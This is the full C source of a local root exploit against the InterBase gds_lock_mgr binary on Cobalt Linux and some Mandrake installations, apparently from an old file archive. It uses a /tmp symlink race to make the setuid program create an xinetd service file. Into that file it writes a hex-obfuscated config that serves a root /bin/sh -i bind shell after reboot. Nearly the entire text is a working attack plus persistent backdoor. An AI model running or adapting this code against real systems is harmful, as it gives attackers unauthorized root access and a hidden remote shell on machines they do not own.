home *** CD-ROM | disk | FTP | other *** search
- // gds_lock_mgr easy local root compromise
- // All cobalt Linux affected, and certain mandrake installations.
- // Wouter ter Maat aka grazer - http://www.i-security.nl
-
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <sys/utsname.h>
-
- #define BDPATH "/etc/xinetd.d/xinetdbd"
- #define GDSBIN "/opt/interbase/bin/gds_lock_mgr"
-
- int main() {
-
- struct utsname buf;
- char path[24], lnc[34];
-
- FILE *fd;
-
- /* check for a rootshell on port 666 after the machine has rebooted.
- * exploit written to work on a raq550 using xinetd
- */
-
- char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
- "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
- "\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
- "\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
- "\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
- "\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
- "\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
- "\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
- "\x3d\x20\x2d\x69\n\x7d\n";
-
- fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");
-
- uname(&buf);
- setenv("INTERBASE", "/tmp", 1);
- sprintf(path, "%s", "/tmp/isc_init1.");
- strcat(path, buf.nodename);
-
- chdir("/tmp");
- umask(000);
-
- sprintf(lnc, "ln %s -s %s", BDPATH, path);
- system(lnc);
-
- if(fd=fopen(GDSBIN, "r")) {
- system(GDSBIN); close(fd); }
- else {
- fprintf(stderr, "%s not found...\n", GDSBIN);
- exit(0); }
-
- if(fd=fopen(BDPATH, "w")) {
- fprintf(stderr," exploit succesfull...\n");
- fprintf(fd, "%s", hexbd); close(fd);}
- else {
- fprintf(stderr, "exploit failed...\n");
- exit(0); }
-
- }
-
-